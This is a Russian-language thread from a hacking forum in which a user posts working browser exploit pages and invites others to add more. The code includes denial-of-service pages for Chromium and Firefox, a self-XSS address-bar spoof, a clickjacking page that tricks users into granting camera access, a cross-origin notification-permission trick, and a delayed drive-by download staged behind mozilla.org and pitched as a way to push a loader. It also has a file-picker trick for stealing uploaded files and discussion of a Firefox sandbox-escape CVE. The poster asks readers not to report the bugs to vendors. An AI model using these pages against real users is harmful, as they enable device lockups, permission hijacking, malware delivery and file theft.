• XSS.stack #1 – первый литературный журнал от юзеров форума

Обсуждение 0-day, 1-day и других багов для Браузеров

UnixSoft

HDD-drive
Пользователь
Регистрация
27.04.2024
Сообщения
36
Реакции
30
Всем привет, я тут полистал форум и никто серьезно не обсуждал баги в наших любимых браузерах. Мое хобби заниматься пентестингом браузеров и сливать за денежку компаниям гугл и моззила найденные уязвимости.
Это можно назвать White Hat, но я это делаю не за респект, а за деньги. Как пишет Zerrodium
The majority of existing vulnerability acquisition platforms focus on quantity rather than quality hence they usually acquire any kind of vulnerabilities or PoCs but pay very low rewards.
И это полностью так. В компанию сливают баги которые реально врятли будет кто-то применять, но деньги они платят, значит почему бы и нет.
Но есть одно, но. Тестеров довольно много и часто ошибки могут пометить как дубликат и что с ними потом делать ?
Я подумал, вместо того чтобы скапливать у себя эти баги, которые могут исправлять по 10 лет, почему бы не поделиться наработками.
Это не статья, не обучающий материал, все что тут будет опубликовано только ради научного интереса. Просьба не сливать эти баги на сторонние ресурсы, а уж тем боле не быть крысой и не сливать баги в компании.

Давайте начнем с багов Low-sec (хотя у меня нет багов High или Critical)

Начнем с DOS векторов.

HTML:
<html>
<head>
   <script>
    function run() {
        var recursiveIframe = document.createElement("iframe");
        recursiveIframe.srcdoc = document.documentElement.innerHTML;
        detailsTest.appendChild(recursiveIframe);
    }


    function spoof() {
        function copyAndRequestFullscreen() {
            document.execCommand("selectAll", false);
            document.execCommand("copy", false);
            document.documentElement.requestFullscreen();
            document.write("<input placeholder='#'></input>");


        
            setTimeout(copyAndRequestFullscreen, 1);
        }


      
        copyAndRequestFullscreen();
    }


    document.addEventListener('DOMContentLoaded', function() {
        run();
        spoof();
    });
</script>


</head>


  <button onclick='spoof()' ontouchstart='spoof()'>Run Spoof</button>
</body>
</html>


Этот эксплойт работает только в Мобильных браузерах и сильнее всего на основе Chromium. Принцип действия забивает буфер обмена до отказа, в серьезных случаях вызывает полное зависание смартфона.

Второй эксплойт только для Firefox, он связан с функцией мульти загрузкой. Если установить флаг на разрешение Сохранить как, тогда будет вызвано окно на сохранения файла каждые 100-200мс, отчего через пару секунд очень сложно закрыть браузер и придется делать перезагрузку ПК.
Есть еще второй вектор атаки, когда этот флаг выключен, но мы сделаем загрузку файла .jse. После перезагрузки браузера, этот тип файла все равно будет дальше загружаться, даже если мы закрыли код.

Предоставленный код упрощенный для zip файлов, для файлов .jse нужно менять структуру кода.

HTML:
<!doctype html>
<html>
<head>
<style>
  html { font-family: sans-serif; }
</style>
</head>
<body>


<p>Redirecting to download in ...</p>
<script>
setInterval(() => {
  window.location = 'ссылка на ваш файл.zip';
}, 200);
</script>


</body>
</html>


Третий DOS Тоже для Firefox.
Этот код типичный OOM, но я думаю без возможности записи в память, скорее всего он обращаться на нулевой указатель, если есть время можете по отслеживать куда идет обращение и можно ли манипулировать с памятью после того как сборщик мусора сбросит память.

HTML:
<html>
<body>
<canvas id=c></canvas>
<script>
var ctx = c.getContext("webgl");


function crashGpu() {
  var vertices = [];
  var counter = 0;


  while (counter < 100000) {
    vertices[counter] = 5;
    counter++;
  }


  for (var i = 0; i < 100000; i++) {
    var buffer = ctx.createBuffer();
    ctx.bindBuffer(ctx.ARRAY_BUFFER, buffer);
    ctx.bufferData(ctx.ARRAY_BUFFER, 500000000, ctx.STATIC_DRAW);
    ctx.bufferSubData(ctx.ARRAY_BUFFER, 0, new Float32Array(vertices));
  }
}


c.addEventListener("webglcontextlost", function (e) {
  c.removeEventListener("webglcontextlost", arguments.callee);


  setTimeout(function () {
    ctx = null;
    document.open();
    document.close();
    window.gc();
  }, 1000);


  setTimeout(function () {
    document.location = "http://www.non-existent-website.com";
  }, 2000);
});


var texture = ctx.createTexture();
ctx.bindTexture(ctx.TEXTURE_2D, texture);
ctx.texImage2D(ctx.TEXTURE_2D, 0, ctx.RGBA4, ctx.RGBA4, ctx.UNSIGNED_BYTE, c);


while (true) {
  crashGpu();
}




</script>
</body>
</html>


SELF XSS для Chromium

Этот баг не будут фиксить и воспроизвести его просто так не получиться. Для этого надо скачать клавиатуру, которая поддерживает сканирование QR кода
Создайте QR код с таким содержимым.

JavaScript:
javascript:document.writeln('Spoof Google.com<img src=# onerror=alert(location.href)>!!')

Откройте google.com нажмите на сканирование QR кода (не гугл LENS ) и перейдите на страницу
Результат SELF XSS и подмена адресной строки.
xss.jpg


И так 1-day уязвимость ClickJacking в Google Chrome . Для запуска нужен сервер с HTTPS, но думаю на локальке тоже запуститься
Это уязвимость носит характер средняя-высокая, но поскольку это 1-day, то можно и рассматреть.


HTML:
<html><head></head><body>


<!-- <div><button  onclick="alert('clicked button 1')">click button 1</button></div> -->
<div><button id="vb" style="margin-top:30px;margin-left:200px;" onclick="w()">do many clicks here</button></div>




<script>
//y();
var i=0;








document.addEventListener("mousedown",function(){


setTimeout(b,90);








if(i==0)
{
//y()


  
        document.getElementById("vb").style.marginLeft = "200";
        document.getElementById("vb").style.marginTop = "130px";




  
  
cameraaccess();
document.body.requestFullscreen();
//location.replace("");
//document.body.requestPointerLock();


}else
{
 document.getElementById("vb").style.marginLeft = "200";
        document.getElementById("vb").style.marginTop = "30px";
y();
document.body.requestFullscreen();
}
<!-- setTimeout('location.replace("")',1); -->


});






function b()
{
  //location.replace("");
  document.body.requestPointerLock();
}




function cameraaccess(){


var video = document.createElement('video');
video.setAttribute('playsinline', '');
video.setAttribute('autoplay', '');
video.setAttribute('muted', '');
video.style.width = '200px';
video.style.height = '200px';


/* Setting up the constraint */
var facingMode = "user"; // Can be 'user' or 'environment' to access back or front camera (NEAT!)
var constraints = {
  audio: false,
  video: {
   facingMode: facingMode
  }
};


/* Stream it to video element */
navigator.mediaDevices.getUserMedia(constraints).then(function success(stream) {
  video.srcObject = stream;
});
}




function y()
{
   setTimeout(cameraaccess,10);


}


</script></body></html>


Этот код после клика на do many clicks here фокусирует курсор на кнопки уведомления разрешить камеру и кто-нибудь действительно может нажать.
Кстати кто заметил, то в Google Chrome языковый пакет Русский не отображает источник уведомлений, а значит можно запросить уведомления для сайта с перекрестным происхождением

И вот как это работает.
К примеру мы контролируем сайт sholnik.ru. Далее мы загружаем наш Iframe код вот он.

Часть 1

HTML:
<!doctype html>
<html>
<head>
<style>
html { font-family: sans-serif; }
#testFrame { width: 600px; height: 400px; }
</style>
</head>
<body>
<h1>PoC: Cross-Origin Policy Violation</h1>
<p>Scenarios:
  <a href="?note">Notifications</a> (default)
</p>


<p>Top-most page on <span id="originOutput"></span></p>
<p>Cross-origin iframe below:</p>
<iframe id="testFrame"></iframe>
<script>
originOutput.innerText = window.location.origin;


var frameUrl = 'https://yousite/frame.html';
testFrame.src = frameUrl + window.location.search;
</script>
</body>
</html>


А сам iframe

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    html { font-family: sans-serif; }
  </style>
  <title>Notifications</title>
</head>
<body>
  <h1>Automatic Notification Request</h1>
  <p>iframe on <span id="originOutput"></span></p>
  <script>
    originOutput.innerText = window.location.origin;
    var scenario = 'note'; // Default scenario
    var query = window.location.search;
    if (query) {
      scenario = query.substr(1); // Strip leading '?'
    }
    var newWinParams = 'width=1,height=1,top=10';
    var win;
    function openWindowAndRequestNotification() {
      win = window.open("", '_blank', newWinParams);


      // Check if Notification API is supported
      if ("Notification" in win) {
        // Request notification permission immediately
        win.Notification.requestPermission().then(function (permission) {
          if (permission === "granted") {
            // Create and show the notification if permission is granted
            var notification = new win.Notification("Notification", {
              body: "This is your notification. Hello, world!"
            });
          } else {
            // Handle permission denied case (optional)
            console.log("Notification permission denied.");
          }
        });
      } else {
        // Notification API not supported, inform user (optional)
        console.log("Notifications not supported in this browser.");
      }
    }


    window.addEventListener('click', function() {
      if (scenario === 'note') {
        openWindowAndRequestNotification();
      } else {
  
      }
    });
  </script>
</body>
</html>

Пример работы

not.jpg



Произойдёт следующие, сайт sholnik.ru загрузит Ifame и появится новое окно около поля уведомлений которое сделает запрос на разрешение показать вам уведомление, но поскольку мы не видим источника конечный пользователь может разрешить показывать уведомления от стороннего сайта.
Почему нельзя запросить уведомления без всего этого спросите вы ? А поскольку есть запрет CORS запрещающий вызывать запрос разрешений от стороннего источника.


Загрузка файла от стороннего источника на доверенном сайте.
Работает во настольных браузерах.
Этому багу уже лет 10, принцип простой.
Мы создаем файл .php который загрузит файл
Далее мы создаем html страницу при клике у нас откроется страница https://www.mozilla.org/ru/firefox/new/
И через location href будет уже произведена загрузка нашего файла.

Пример PHP , конечно реальный пример будет другим.

PHP:
<?php
header('Content-Disposition: attachment; filename="test.svg"');
header('Content-Type: image/svg+xml');
?>

Вот и сам HTML


HTML:
<a href="https://www.mozilla.org/ru/firefox/new/" target="_blank" onclick="setTimeout(function() { window.location.href = 'https://youphp'; }, 3000);">GO</a>

Когда пользователь нажмет на ссылку откроется сайт https://www.mozilla.org/ru/firefox/new/ и через 3 секунды будет загрузка нашего файла, это может быть лоадер под видом браузера или другой любой пример, все зависит от вашей фантазии.

Есть еще баги для подмены адресной строки, через функцию Drag n Drop или копировать значение и вставить в адресную строку, если интересно вам могу показать, их не буду фиксить, но толку совсем нет.
На этом я заканчиваю первую часть с показом Low-sec, во второй части покажу эксплоиты sec-moderate
Если вам понравилось пишите что думаете об этом. Предлагайте свои баги или интересные баги которые вы нашли.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Всё это конечно хорошо, но когда публикуешь баги не плохо бы и подкрепить это всё дело ссылочками на коммиты и на версии браузеров.
 
Всё это конечно хорошо, но когда публикуешь баги не плохо бы и подкрепить это всё дело ссылочками на коммиты и на версии браузеров.
Вы имеете в виду указать ссылку на исходный код браузера, с возможно не правильным поведением ? Эксплойты которые я предоставил, никто даже не анализировал, все эти баги работают на сегодняшний день
Получается версии браузеров Firefox 127 и Chrome 124.

UPD Сейчас могу только добавить для ознакомления кликджекинг который работает в хроме ссылку на источник https://bugzilla.mozilla.org/show_bug.cgi?id=1857430
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Получается версии браузеров Firefox 127 и Chrome 124.
Если с 0-дей всё понятно, что в последней версии браузера будет работать, то 1-day слово подразумевает что не будет работать в исправленной версии. Просто когда публикуешь баги, нужно указывать версии ПО, это сейчас они могут работать, а спустя какое-то время их пофиксят, так вот, чтобы людей не сбивать с толку желательно указывать в какой версии данный баг работает. А еще лучше коммиты на уязвимую версию, чтобы можно было собрать стенд. Кроме XSS \ Clickjacking \ SOP... есть что поинтереснее например RCE в рендере V8, Webkit, SpiderMonkey? Топик как минимум станет интересней.
 
Я позже еще добавлю пару новых эксплойтов, но они как я писал будут уровня средней тяжести. Насчет RCE не интересно выкладывать старые баги 2-3 летней давности, сейчас я ищу эксплойт для CVE-2024-29944 , но я сам не буду докручивать код то состояния готового RCE, моих познаний не достаточно. А вот на счет CVE-2024-29944 этот эксплойт выглядит очень интересным, повышение привилегий и выполнение кода в обход песочницы.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А я наоборот считаю такое полезным. Браузерные эксплойты они не много шаблонные. Поэтому когда смотришь на код эксплойта 2021, 2022, 2023, 2024 просматриваются некоторые закономерности и шаблоны, а так же новые способы обхода. Да и к тому же я не сказал бы что, в паблике есть только старые RCE экспы. Есть и новые RCE экспы, правда они без выхода из песочницы в основном.


Вот кстати баг pwn2own
High CVE-2024-2887: Type Confusion in WebAssembly. Reported by Manfred Paul, via Pwn2Own 2024 on 2024-03-21
 
Последнее редактирование:
Для Firefox я находил такой RCE + Sanbox Escape

Эта выжимка кода мне мало что говорит.

JavaScript:
const m1 = parseModule(`
    export let mod = {};
    function setter(elem) {
        delete Array.prototype[0]; // Delete the setter
        this.push(elem); // Push the element for real
        mod = elem; // Export the gathered module
    }
    Array.prototype.__defineSetter__(0, setter);
    export const _foo = await Promise.resolve(5);
`);

const m2 = parseModule(`
    import {mod} from 'm1';
    assertEq(mod.status, undefined);
`);

registerModule('m1', m1);
m2.declarationInstantiation();
m2.evaluation();
drainJobQueue();


А вот вроде сам экплойт
https://github.com/mistymntncop/CVE-2022-1802 для Firefox 100.0
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Чтобы тебе это понять, нужно для начала разобрать суть уязвимости prototype pollution отдельно от этой CVE.

А так из блога ZDI
Загрязненный прототип приведет к тому, что логика восстановления вкладки установит выбранный нами атрибут на вкладке.
Добавляемая пара имя/значение соответствует параметрам, которые мы хотим передать в tab.setAttribute. Например, если мы добавим свойство "a"с именем строкового значения "b", то tab.setAttribute в конечном итоге оно будет вызываться с параметрами ("a", "b").
В рендере происходит креш, и потом будет восстановлена вкладка с перезаписанными свойствами через prototype pollution, т.е. будет восстановлена без песочницы, где потом исполняется код.

p.s. prototype pollution интересный вектор кстати
 
Еще одна старая уязвимость
Браузер Firefox работает на сегодня 21.11.2024, первое сообщение в начале 2023 года.
Уязвимость позволяет открыть сайт с опцией выбора файлов, если пользователь загрузит какой нибудь файл он будет отправлен злоумышленнику на сервер.
Пример как работает: Жертва переходит по ссылке далее предлагается загрузить какой нибудь файл( фото или документ ) на сайт файлобменник например Мега, жертва думает что загружает файл на доверенный сайт, но все действия происходит на контролируемой вкладке.
Уровень опасности средний (Moderate)
Сделать патч довольно сложно, поэтому еще месяц 6-12 уязвимость будет существовать как минимум.

Сам Poc


JavaScript:
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Input POC</title>
</head>

<body>

    <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelection(event)"/>
    <a href="https://mega.nz" target="_blank" onclick="run()">Upload you File Mega.nz</a>

    <pre id="fileContent"></pre>
    <script>
        function handleFileSelection(event) {
            const selectedFile = event.target.files[0];

            // Use FileReader to read the content of the file
            const reader = new FileReader();

            reader.onload = function (e) {
                // e.target.result contains the content of the file
                const fileContent = e.target.result;

                // Display the content in the <pre> tag
                document.getElementById('fileContent').textContent = fileContent;
            };

            // Read the file as text
            reader.readAsText(selectedFile);
        }
        function run() {
            var button = document.getElementById("fileInput");
            button.click();
        }
    </script>

</body>

</html>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх